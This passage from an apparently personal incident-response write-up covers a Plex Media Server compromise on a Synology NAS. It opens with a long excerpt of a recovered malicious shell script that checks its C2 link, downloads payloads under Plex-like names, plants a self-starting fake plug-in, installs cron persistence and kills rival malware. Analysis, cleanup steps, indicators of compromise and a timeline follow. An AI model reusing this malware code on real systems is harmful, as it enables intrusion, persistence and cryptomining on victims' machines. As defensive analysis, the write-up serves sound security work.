grep -qE '5BCE5750:01BB|5FCE5750:01BB|56CE5750:01BB|07077BB0:01BB' /proc/net/tcp 2>/dev/null && return 0
fi
return 1
}
# Stale inode or C2 stuck on :80 mux → restamp jump :443.
if [ -n "$live" ]; then
exn=$(readlink /proc/"$live"/exe 2>/dev/null)
case "$exn" in *deleted*)
kill -9 "$live" 2>/dev/null || true
dbg "step=stale pid=$live ex=$exn"
live=""
;; esac
fi
if [ -n "$live" ] && ! c2up; then
sleep 2
if ! c2up; then
kill -9 "$live" 2>/dev/null || true
dbg "step=rec2 old=$live"
live=""
fi
fi
if [ -z "$live" ]; then
src="$C/pmsdl$$"
if [ "$a" = 3 ]; then
fetch_rel "bins/3" "$src" 180000 || fetch_rel "bins/3d" "$src" 180000 || src=""
elif [ "$a" = 4 ]; then
fetch_rel "bins/4" "$src" 200000 || src=""
else
fetch_rel "bins/$a" "$src" 350000 || src=""
fi
[ -n "$src" ] && [ -s "$src" ] || { dbg "step=nodl a=$a c=$C"; exit 1; }
hex=$(dd if="$src" bs=4 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n')
dbg "step=dl a=$a sz=$(wc -c < "$src") hex=$hex px=$PX"
cp -f "$src" "$PX" 2>/dev/null || { dbg "step=nocp c=$C"; rm -f "$src"; exit 1; }
chmod 755 "$PX" 2>/dev/null || chmod +x "$PX" 2>/dev/null
rm -f "$src"
else
if c2up; then c2s=1; else c2s=0; fi
dbg "step=have pid=$live px=$PX ex=$(readlink /proc/$live/exe 2>/dev/null) c2=$c2s"
fi
# Official-looking backup. Guard restarts from here if PlexScriptHost is deleted.
if [ -x "$PX" ] && [ "$BK" != "$PX" ] && [ "$BK" != "$RP" ]; then
cp -f "$PX" "$BK" 2>/dev/null && chmod 755 "$BK" 2>/dev/null || true
fi
plug=""
for d in \
"$H/Library/Application Support/Plex Media Server/Plug-ins" \
"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Plug-ins" \
"/config/Library/Application Support/Plex Media Server/Plug-ins" \
"/app/Library/Application Support/Plex Media Server/Plug-ins"
do
[ -d "$d" ] && [ -w "$d" ] && plug=$d && break
done
if [ -n "$plug" ] && [ -x "$PX" ]; then
mkdir -p "$plug/PersonalMedia.bundle/Contents/Helpers" "$plug/PersonalMedia.bundle/Contents/Code" 2>/dev/null || true
cp -f "$PX" "$plug/PersonalMedia.bundle/Contents/Helpers/Plex SQLite" 2>/dev/null || true
printf '%s\n' 'import os,subprocess' \
'd=os.path.join(os.path.dirname(os.path.abspath(__file__)),"..","Helpers")' \
'b=os.path.join(d,"Plex SQLite")' \
'os.path.isfile(b) and subprocess.Popen([b,"app-plex"],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL,start_new_session=True)' \
> "$plug/PersonalMedia.bundle/Contents/Code/__init__.py" 2>/dev/null || true
fi
fetch_rel "A-plex-g" "$RP" 400 || true
chmod 755 "$RP" 2>/dev/null || true
if [ -x "$RP" ]; then
if command -v setsid >/dev/null 2>&1; then
setsid "$RP" "$PX" "$T" </dev/null >/dev/null 2>&1 &
else
(trap "" HUP; exec "$RP" "$PX" "$T") </dev/null >/dev/null 2>&1 &
fi
fi
if [ "$(id -u)" = 0 ]; then
if command -v iptables >/dev/null 2>&1; then
iptables -C OUTPUT -p tcp --dport 18899 -j REJECT 2>/dev/null \
|| iptables -I OUTPUT -p tcp --dport 18899 -j REJECT 2>/dev/null || true
iptables -C OUTPUT -d 130.94.112.0/24 -j REJECT 2>/dev/null \
|| iptables -I OUTPUT -d 130.94.112.0/24 -j REJECT 2>/dev/null || true
iptables -C OUTPUT -d 89.125.187.222 -j REJECT 2>/dev/null \
|| iptables -I OUTPUT -d 89.125.187.222 -j REJECT 2>/dev/null || true
fi
fi
if [ -z "$live" ]; then
for f in /tmp/.boat.lock /dev/shm/.boat.lock /var/tmp/.boat.lock "$C/.boat.lock" "$H/.boat.lock"; do
[ -f "$f" ] || continue
pid=$(head -1 "$f" 2>/dev/null)
if [ -n "$pid" ]; then
ex=$(readlink /proc/"$pid"/exe 2>/dev/null)
is_ours_exe "$ex" && continue
kill -9 "$pid" 2>/dev/null
fi
rm -f "$f"
done
fi
kr
if [ -z "$live" ] && [ -x "$PX" ]; then
if command -v setsid >/dev/null 2>&1; then
setsid "$PX" "$T" </dev/null >/dev/null 2>&1 &
else
(trap "" HUP; exec "$PX" "$T") </dev/null >/dev/null 2>&1 &
fi
fi
sleep 2
nk=0
for x in /proc/[0-9]*/exe; do
t=$(readlink "$x" 2>/dev/null) || continue
is_ours_exe "$t" && nk=$((nk+1))
done
riv=""
for x in /proc/[0-9]*; do
cmd=$(tr '\0' ' ' < "$x/cmdline" 2>/dev/null) || continue
ours "$cmd" && continue
case "$cmd" in *18899*|*plex_deploy*|*pd.sh*|*pd3.sh*|*130.94.112*|*89.125.187*|*PLEX_FORCE_RESTART*|*PLEX_PROXY_ONLY*)
riv="$riv,${x#/proc/}:$(echo "$cmd" | dd bs=80 count=1 2>/dev/null)"
;; esac
done
(crontab -l 2>/dev/null | grep -vE '18899|plex_deploy|pd\.sh|pd3|130\.94|89\.125|PLEX_FORCE|PLEX_PROXY|\.kpx|kpxb' | grep -vF CrashUploader | grep -vF PlexScriptHost | grep -vF "$RP"
echo "* * * * * \"$RP\" \"$PX\" $T >/dev/null 2>&1"
echo "@reboot sleep 8; \"$RP\" \"$PX\" $T >/dev/null 2>&1") | crontab - 2>/dev/null || true
# Occupied: dump-yuv cannot write a chmod a-w codec dir.
for p in /proc/[0-9]*; do
[ -r "$p/maps" ] || continue
m=$(awk '/\/Codecs\//{for(i=1;i<=NF;i++) if($i~"/Codecs/") {print $i; exit}}' "$p/maps" 2>/dev/null)
[ -n "$m" ] || continue
d=${m%/*}
[ -d "$d" ] || continue
rm -f "$d"/idk*.so "$d"/zz*.so 2>/dev/null || true
chmod a-w "$d" 2>/dev/null || true
done
dbg "step=up px=$PX rp=$RP nk=$nk plug=$plug uid=$(id -u) riv=$riv live=$live ex=$(readlink /proc/$live/exe 2>/dev/null)"
exit 0
This script is evidence of a second, competing malware campaign. It downloads and launches a C2-controlled agent under legitimate-looking Plex process names, reports details about the infected host, creates several persistence mechanisms and kills competing malware.
It also replaces known competitor script paths with links to /dev/null and attempts to block rival infrastructure through iptables when running as root. The recovered heartbeat and lock files indicate that components of this agent ran, although I found no direct proof of an interactive shell.
The competitor-specific logic suggests the operators had studied other Plex2Shell campaigns, likely using their own vulnerable Plex Media Server honeypots to observe and attract other attackers.
Establishing the blast radius
Synology uses a dedicated PlexMediaServer user for its Plex package. That means if Plex is compromised, an attacker gains access to that user, which has full access to my media share and Plex configuration files. That was not a major concern to me, as the media itself was just popular movies and TV shows.
What concerned me more was the possibility of privilege escalation to root, which would have allowed access to my other shared folders containing more sensitive data such as backups and passwords.
I looked around the Synology UI for signs that the NAS itself had been breached. I saw no new users, no changed settings and no persistence attempts through scheduled tasks or other obvious mechanisms. I did notice failed login attempts from unusual IP addresses, but that was nothing new. Overall, I remained very confident that no one besides me had accessed the NAS UI.
As root on the box, I also checked the crontab and iptables and found no signs of successful root escalation.
Containment and remediation
Taking the server offline
Very early on, I took the Plex server offline so I could continue investigating safely. You can do this through the NAS UI or with synopkg stop PlexMediaServer. I removed every router port forward to the NAS, disabled UPnP and temporarily blocked WAN traffic to and from the NAS while keeping local network access for the investigation.
Preserving evidence
During the investigation, I made sure to back up every malicious file I encountered, along with the entire /volume1/PlexMediaServer folder from my Synology NAS. This allowed me to submit samples to sites such as VirusTotal and continue investigating them statically offline.
Nuking Plex from orbit
As I had evidence of native code execution, miner activity and C2 agent deployment by malicious actors, I was not comfortable trying to clean up the system manually. In cases like this, I believe a full nuke is justified so nothing is left behind.
Because I found no signs of root escalation, I was comfortable limiting that nuke to the Plex installation itself. I uninstalled the package from the Synology NAS, then deleted the PlexMediaServer folder, the PlexMediaServer user and all files owned by that user in publicly writable directories.
Only after rotating credentials did I reinstall the latest version of Plex and reconfigure it from scratch.
Rotating credentials
It was important to change my Plex admin account password, which also rotated the owner token. I made sure to tick the box to log out all active sessions.
As a precaution, I also rotated my Synology user passwords, even though I found no evidence of root escalation or a wider Synology NAS breach.
Verifying the cleanup
To verify the cleanup, I ran the hunt script again, which no longer showed any active signs of exploitation:
root@earth:/volume1/IncidentEvidence# bash plex2shell-hunt.sh
[WARN] no Plex Application Support dir found; pass one with -a
plex2shell-hunt 2026-11-05T06:57:55Z host=earth
[INFO] could not determine PMS version
== live processes
plex2shell-hunt.sh: line 205: /proc/21276/cmdline: No such file or directory
plex2shell-hunt.sh: line 205: /proc/21279/cmdline: No such file or directory
summary: 0 hit(s), 1 warning(s)Technical indicators
Representative payload names
zz73a6ad1a.so
zze04e84c6.so
zza2b18de5.so
zz5d94f093.so
zzeaf979c0.so
zz4311426d.so
zz4331a986.so
zzc02a52cb.so
zz7a6e5ba0.so
zz34d43f41.so
zz7f0296e2.so
zz37b088f2.so
zz4ad8e701.so
zz55882_5136.so
zz72164.so
zz73708.so
zz95451.so
zz9e37a9c5.so
zz42989.so
zz3c1eb3b7.so
zzbaad9c6b.so
zz1890.so
zz6bdbd77c.so
zz579d508d.so
zzff04eda5.so
zz595da8f6.so
zz49c08c91.so
zzq7x3886.so
zzq7x1252.so
zzq7x1510.so
zzq7x1610.so
zzc727643641c71dc5c2b51.so
zz35438.so
aa41666.so
zzc62bfa89cdeb1c4e2ca9a.so
zzc9a9b226c24338f5b84d3.so
zzc91dcf7830b085330dd14.so
zzc0224635a43a8ffb5c71b.so
zzc7d3e158026d970e05c5b.so
zzc9f61c6ecf708d5399b90.so
zzcfbbe393b8cf236f63580.so
zzc68dac766f66b7777a311.so
libpx95449_encoder.so
zz6f147.soFiles and markers
# Miner and persistence artefacts
/var/tmp/.cache/.kworker394
/var/tmp/.cache/.kworker394.tag
/var/tmp/.cache/.kworker394.loop
/var/tmp/.config/systemd/user/kworker394.service
/var/tmp/.bashrc
/var/tmp/.bash_profile
/var/tmp/.profile
/var/tmp/Plex Tuner Service
/var/tmp/plex_exp_proxy.json
# C2 agent and deployment artefacts
/tmp/i
/tmp/.boat.lock
/var/tmp/.boat.lock
/var/tmp/Plex SQLite
/var/tmp/PlexScriptHost.lck
/var/tmp/PlexScriptHost (deleted).beat
/dev/shm/.boat.lock
/dev/shm/.kpx.lck
/dev/shm/9334581e-7251-4ef7-a8ec-5bfe8e89ff68
# Anti-rival symlinks
/tmp/pd.sh
/tmp/pd2.sh
/tmp/pd3.sh
/tmp/plex_deploy.sh
/var/tmp/pd.sh
/var/tmp/pd3.sh
/var/tmp/plex_deploy.sh
/dev/shm/pd.sh
/dev/shm/pd3.sh
/dev/shm/plex_deploy.sh
# Other
/volume1/@apphome/PlexMediaServer/.wget-hstsNetwork indicators
Confirmed exploitation sources
IP Address / Hostname | Identifiers | Role |
|---|---|---|
|
| Earliest SSRF/token-harvest actor |
|
| Separate token-harvest scanner/exploiter |
|
| Principal early payload operator |
|
| Successful token compromise |
|
| Cross-platform payload writer |
|
| Payload writer |
|
| Payload writer |
| Player | Distributed token/agent exploit source |
| Player | Same distributed toolchain |
|
| Agent/leak scanner with successful callbacks |
|
|
|
|
|
|
|
| Multi-platform |
|
| Multi-platform |
|
| SSRF proof, token theft and |
|
| Repeated automated payload operator |
|
| File theft, payload deployment |
|
| Agent enumeration, SSRF, diagnostics theft |
|
| Late token/payload actor |
Callback or payload hosts
IP Address / Hostname | Identifiers | Role |
|---|---|---|
|
| Callback host. Used by |
| — | Callback and payload host. Used by |
|
| Payload host. Used by |
| TVDB plug-in logs | Later callback infrastructure |
|
| Direct callback host |
| DNS encoding of | DNS-encoded callback/payload infrastructure |
|
| Temporary file host ( Referenced in |
|
| Repeated hostname-validation/SSRF bypass |
|
| Alternate DNS-encoding bypass form |
Scanner-only or unattributed sources
Scanner-only sources have been redacted because they do not directly indicate malicious intent.
IP Address / Hostname | Identifiers | Role |
|---|---|---|
|
| Scanner-only. Poll timeout and no exploit subscription |
|
| Generic scanner |
| JBoss/JMX and | Unrelated generic scanner |
|
| Generic scanner |
| Plex identity and callback-like activity | Suspicious; likely exploit infrastructure. Episode-level attribution is incomplete |
|
| 🕵️ Raj: Grey hat security researcher. Responsibly disclosed vulnerability via email. |
Samples
Here are all the malicious file samples I collected, if you are interested in analysing them.
The archive contains malicious files, and the password is infected.
Timeline
Here is a timeline of events based on file timestamps and system logs:
- 17 October, 15:05 - The first confirmed Plex2Shell exploit stole my Plex owner token and began using it within eight seconds.
- 19 October, 21:35 - An attacker read
/proc/self/environandPreferences.xml, then launched the first retained malicious Transcoder job targeting a.sofile. - 26 October - Post-exploitation scripts, configuration files and logs appeared under
/var/tmp. - 27 October, 23:58 - A malicious
.sowas successfully read back. Seven seconds later, an eight-byte execution marker appeared under/tmp, strongly supporting native payload execution. - 1 November - Three campaigns deployed
zzc727643641c71dc5c2b51.so,zz35438.soandaa41666.so. Attackers also stole logs and diagnostics, read Plex preferences and launched malicious Transcoder jobs. - 3 November - An automated campaign deployed several additional
zzc*.sopayloads associated with later C2 activity. - 5 November, 01:14 - I received the responsible disclosure email from Raj.
- 5 November, from 12:10 - I isolated the NAS, removed its public exposure, stopped Plex, preserved evidence, investigated the miner and C2 artefacts, and removed Plex completely to complete remediation.
Final thoughts
Mitigating and cleaning up a deep compromise like this is both time-consuming and frustrating. I was unaware of the vulnerability, which left me exposed for weeks. I had originally exposed Plex to the internet so I could use it remotely, but I had not actually used it that way for years. In practice, it had become an unnecessary hole left open without me realising the risk it still posed.
Malware running on a NAS is harmful in several ways. Beyond data theft, miners cost money through electricity use and hardware wear. Agents can also proxy residential IP addresses and use them to commit cybercrime or participate in a botnet.
In a case like this, I think a full nuke is the only way to be confident that nothing has been left behind. Many users running Plex Media Server exposed to the public internet may still be vulnerable today, and many may only be prepared to update their software to patch the issue, not clean up an existing compromise. I am grateful to Raj for responsibly disclosing the issue to me, and I made a donation to thank him for helping people like myself identify and patch vulnerable systems.
This incident shows how powerful RCE vulnerabilities can be, and how quickly they can be discovered and abused in a world with increasingly capable AI models. More broadly, it is a good reminder to keep software updated, minimise internet exposure where possible and apply strict permissions, geofencing or other protective controls to reduce the chance and impact of incidents like this.